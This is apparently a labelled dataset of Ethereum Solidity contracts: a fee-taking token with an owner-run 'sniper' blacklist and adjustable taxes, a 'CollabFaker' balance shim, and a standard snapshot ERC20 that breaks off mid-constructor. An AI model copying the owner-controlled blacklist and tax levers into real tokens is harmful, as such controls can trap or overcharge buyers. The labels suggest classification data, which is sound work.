swapTokensForEth(amount);
}
function addSniper(address[] memory snipers) external onlyOwner {
for(uint256 i= 0; i< snipers.length; i++){
_isSniper[snipers[i]] = true;
}
}
function removeSniper(address sniper) external onlyOwner {
if (_isSniper[sniper]) {
_isSniper[sniper] = false;
}
}
function isSniper(address sniper) external view returns (bool){
return _isSniper[sniper];
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
require(maxTxAmount >= 5e9 * 10**9, "Maximum transaction amount must be greater than 0.5%");
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner {
require(maxWalletSize >= _maxWalletSize);
_maxWalletSize = maxWalletSize;
}
function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner {
require(amountBuy >= 0 && amountBuy <= 13);
require(amountSell >= 0 && amountSell <= 13);
_taxFeeOnBuy = amountBuy;
_taxFeeOnSell = amountSell;
}
function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner {
require(amountRefBuy >= 0 && amountRefBuy <= 1);
require(amountRefSell >= 0 && amountRefSell <= 1);
_redisFeeOnBuy = amountRefBuy;
_redisFeeOnSell = amountRefSell;
}
function setBurnFee(uint256 amount) external onlyOwner {
require(amount >= 0 && amount <= 1);
_burnFee = amount;
}
function setJeetsFee(uint256 amountRedisJeets, uint256 amountTaxJeets) external onlyOwner {
require(amountRedisJeets >= 0 && amountRedisJeets <= 1);
require(amountTaxJeets >= 0 && amountTaxJeets <= 19);
_redisFeeJeets = amountRedisJeets;
_taxFeeJeets = amountTaxJeets;
}
function setTimeJeets(uint256 hoursTime) external onlyOwner {
require(hoursTime >= 0 && hoursTime <= 4);
timeJeets = hoursTime * 1 hours;
}
} | True | [
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// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
interface StakingContract {
function depositsOf(address account)
external
view
returns (uint256[] memory);
}
contract CollabFaker {
StakingContract public stakingContract =
StakingContract(0x8D8A3e7EAdA138523c2dcB78FDbbF51A63A3faAD);
function balanceOf(address owner) external view returns (uint256 balance) {
return stakingContract.depositsOf(owner).length;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-05-06
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
/**
* @dev Collection of functions related to array types.
*/
library Arrays {
/**
* @dev Searches a sorted `array` and returns the first index that contains
* a value greater or equal to `element`. If no such index exists (i.e. all
* values in the array are strictly less than `element`), the array length is
* returned. Time complexity O(log n).
*
* `array` is expected to be sorted in ascending order, and to contain no
* repeated elements.
*/
function findUpperBound(uint256[] storage array, uint256 element) internal view returns (uint256) {
if (array.length == 0) {
return 0;
}
uint256 low = 0;
uint256 high = array.length;
while (low < high) {
uint256 mid = Math.average(low, high);
// Note that mid will always be strictly less than high (i.e. it will be a valid array index)
// because Math.average rounds down (it does integer division with truncation).
if (array[mid] > element) {
high = mid;
} else {
low = mid + 1;
}
}
// At this point `low` is the exclusive upper bound. We will return the inclusive upper bound.
if (low > 0 && array[low - 1] == element) {
return low - 1;
} else {
return low;
}
}
}
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
}
contract Initializable {
bool inited = false;
modifier initializer() {
require(!inited, "already inited");
_;
inited = true;
}
}
abstract contract IERC677Receiver {
function onTokenTransfer(address _sender, uint _value, bytes memory _data) public virtual;
}
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract EIP712Base is Initializable {
struct EIP712Domain {
string name;
string version;
address verifyingContract;
bytes32 salt;
}
string constant public ERC712_VERSION = "1";
bytes32 internal constant EIP712_DOMAIN_TYPEHASH = keccak256(
bytes(
"EIP712Domain(string name,string version,address verifyingContract,bytes32 salt)"
)
);
bytes32 internal domainSeperator;
function _initializeEIP712(string memory name) internal initializer {
_setDomainSeperator(name);
}
function _setDomainSeperator(string memory name) internal {
domainSeperator = keccak256(
abi.encode(
EIP712_DOMAIN_TYPEHASH,
keccak256(bytes(name)),
keccak256(bytes(ERC712_VERSION)),
address(this),
bytes32(getChainId())
)
);
}
function getDomainSeperator() public view returns (bytes32) {
return domainSeperator;
}
function getChainId() public view returns (uint256) {
uint256 id;
assembly {
id := chainid()
}
return id;
}
/**
* Accept message hash and returns hash message in EIP712 compatible form
* So that it can be used to recover signer from signature signed using EIP712 formatted data
* https://eips.ethereum.org/EIPS/eip-712
* "\\x19" makes the encoding deterministic
* "\\x01" is the version byte to make it compatible to EIP-191
*/
function toTypedMessageHash(bytes32 messageHash)
internal
view
returns (bytes32)
{
return
keccak256(
abi.encodePacked("\x19\x01", getDomainSeperator(), messageHash)
);
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overloaded;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControl {
function hasRole(bytes32 role, address account) external view returns (bool);
function getRoleAdmin(bytes32 role) external view returns (bytes32);
function grantRole(bytes32 role, address account) external;
function revokeRole(bytes32 role, address account) external;
function renounceRole(bytes32 role, address account) external;
}
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context, IAccessControl, ERC165 {
struct RoleData {
mapping (address => bool) members;
bytes32 adminRole;
}
mapping (bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControl).interfaceId
|| super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override {
require(hasRole(getRoleAdmin(role), _msgSender()), "AccessControl: sender must be an admin to grant");
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override {
require(hasRole(getRoleAdmin(role), _msgSender()), "AccessControl: sender must be an admin to revoke");
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, getRoleAdmin(role), adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
}
/**
* @dev This contract extends an ERC20 token with a snapshot mechanism. When a snapshot is created, the balances and
* total supply at the time are recorded for later access.
*
* This can be used to safely create mechanisms based on token balances such as trustless dividends or weighted voting.
* In naive implementations it's possible to perform a "double spend" attack by reusing the same balance from different
* accounts. By using snapshots to calculate dividends or voting power, those attacks no longer apply. It can also be
* used to create an efficient ERC20 forking mechanism.
*
* Snapshots are created by the internal {_snapshot} function, which will emit the {Snapshot} event and return a
* snapshot id. To get the total supply at the time of a snapshot, call the function {totalSupplyAt} with the snapshot
* id. To get the balance of an account at the time of a snapshot, call the {balanceOfAt} function with the snapshot id
* and the account address.
*
* ==== Gas Costs
*
* Snapshots are efficient. Snapshot creation is _O(1)_. Retrieval of balances or total supply from a snapshot is _O(log
* n)_ in the number of snapshots that have been created, although _n_ for a specific account will generally be much
* smaller since identical balances in subsequent snapshots are stored as a single entry.
*
* There is a constant overhead for normal ERC20 transfers due to the additional snapshot bookkeeping. This overhead is
* only significant for the first transfer that immediately follows a snapshot for a particular account. Subsequent
* transfers will have normal cost until the next snapshot, and so on.
*/
abstract contract ERC20Snapshot is ERC20 {
// Inspired by Jordi Baylina's MiniMeToken to record historical balances:
// https://github.com/Giveth/minimd/blob/ea04d950eea153a04c51fa510b068b9dded390cb/contracts/MiniMeToken.sol
using Arrays for uint256[];
using Counters for Counters.Counter;
// Snapshotted values have arrays of ids and the value corresponding to that id. These could be an array of a
// Snapshot struct, but that would impede usage of functions that work on an array.
struct Snapshots {
uint256[] ids;
uint256[] values;
}
mapping (address => Snapshots) private _accountBalanceSnapshots;
Snapshots private _totalSupplySnapshots;
// Snapshot ids increase monotonically, with the first value being 1. An id of 0 is invalid.
Counters.Counter private _currentSnapshotId;
/**
* @dev Emitted by {_snapshot} when a snapshot identified by `id` is created.
*/
event Snapshot(uint256 id);
/**
* @dev Creates a new snapshot and returns its snapshot id.
*
* Emits a {Snapshot} event that contains the same id.
*
* {_snapshot} is `internal` and you have to decide how to expose it externally. Its usage may be restricted to a
* set of accounts, for example using {AccessControl}, or it may be open to the public.
*
* [WARNING]
* ====
* While an open way of calling {_snapshot} is required for certain trust minimization mechanisms such as forking,
* you must consider that it can potentially be used by attackers in two ways.
*
* First, it can be used to increase the cost of retrieval of values from snapshots, although it will grow
* logarithmically thus rendering this attack ineffective in the long term. Second, it can be used to target
* specific accounts and increase the cost of ERC20 transfers for them, in the ways specified in the Gas Costs
* section above.
*
* We haven't measured the actual numbers; if this is something you're interested in please reach out to us.
* ====
*/
function _snapshot() internal virtual returns (uint256) {
_currentSnapshotId.increment();
uint256 currentId = _currentSnapshotId.current();
emit Snapshot(currentId);
return currentId;
}
/**
* @dev Retrieves the balance of `account` at the time `snapshotId` was created.
*/
function balanceOfAt(address account, uint256 snapshotId) public view virtual returns (uint256) {
(bool snapshotted, uint256 value) = _valueAt(snapshotId, _accountBalanceSnapshots[account]);
return snapshotted ? value : balanceOf(account);
}
/**
* @dev Retrieves the total supply at the time `snapshotId` was created.
*/
function totalSupplyAt(uint256 snapshotId) public view virtual returns(uint256) {
(bool snapshotted, uint256 value) = _valueAt(snapshotId, _totalSupplySnapshots);
return snapshotted ? value : totalSupply();
}
// Update balance and/or total supply snapshots before the values are modified. This is implemented
// in the _beforeTokenTransfer hook, which is executed for _mint, _burn, and _transfer operations.
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {
super._beforeTokenTransfer(from, to, amount);
if (from == address(0)) {
// mint
_updateAccountSnapshot(to);
_updateTotalSupplySnapshot();
} else if (to == address(0)) {
// burn
_updateAccountSnapshot(from);
_updateTotalSupplySnapshot();
} else {
// transfer
_updateAccountSnapshot(from);
_updateAccountSnapshot(to);
}
}
function _valueAt(uint256 snapshotId, Snapshots storage snapshots)
private view returns (bool, uint256)
{
require(snapshotId > 0, "ERC20Snapshot: id is 0");
// solhint-disable-next-line max-line-length
require(snapshotId <= _currentSnapshotId.current(), "ERC20Snapshot: nonexistent id");
// When a valid snapshot is queried, there are three possibilities:
// a) The queried value was not modified after the snapshot was taken. Therefore, a snapshot entry was never
// created for this id, and all stored snapshot ids are smaller than the requested one. The value that corresponds
// to this id is the current one.
// b) The queried value was modified after the snapshot was taken. Therefore, there will be an entry with the
// requested id, and its value is the one to return.
// c) More snapshots were created after the requested one, and the queried value was later modified. There will be
// no entry for the requested id: the value that corresponds to it is that of the smallest snapshot id that is
// larger than the requested one.
//
// In summary, we need to find an element in an array, returning the index of the smallest value that is larger if
// it is not found, unless said value doesn't exist (e.g. when all values are smaller). Arrays.findUpperBound does
// exactly this.
uint256 index = snapshots.ids.findUpperBound(snapshotId);
if (index == snapshots.ids.length) {
return (false, 0);
} else {
return (true, snapshots.values[index]);
}
}
function _updateAccountSnapshot(address account) private {
_updateSnapshot(_accountBalanceSnapshots[account], balanceOf(account));
}
function _updateTotalSupplySnapshot() private {
_updateSnapshot(_totalSupplySnapshots, totalSupply());
}
function _updateSnapshot(Snapshots storage snapshots, uint256 currentValue) private {
uint256 currentId = _currentSnapshotId.current();
if (_lastSnapshotId(snapshots.ids) < currentId) {
snapshots.ids.push(currentId);
snapshots.values.push(currentValue);
}
}
function _lastSnapshotId(uint256[] storage ids) private view returns (uint256) {
if (ids.length == 0) {
return 0;
} else {
return ids[ids.length - 1];
}
}
}
// ERC20 token
// - Burnable
// - Snapshot
// - EIP712 - human readable signed messages
// - ERC677 - transfer and call - approve tokens and call a function on another contract in one transaction
contract WasderToken is ERC20Snapshot, AccessControl, EIP712Base {
uint256 public constant INITIAL_SUPPLY = 1000000000 * 10**18; //1,000,000,000 tokens (18 decimals)
bytes32 public constant BURNER_ROLE = keccak256("BURNER_ROLE");
constructor(address to) ERC20("Wasder Token", "WAS") {
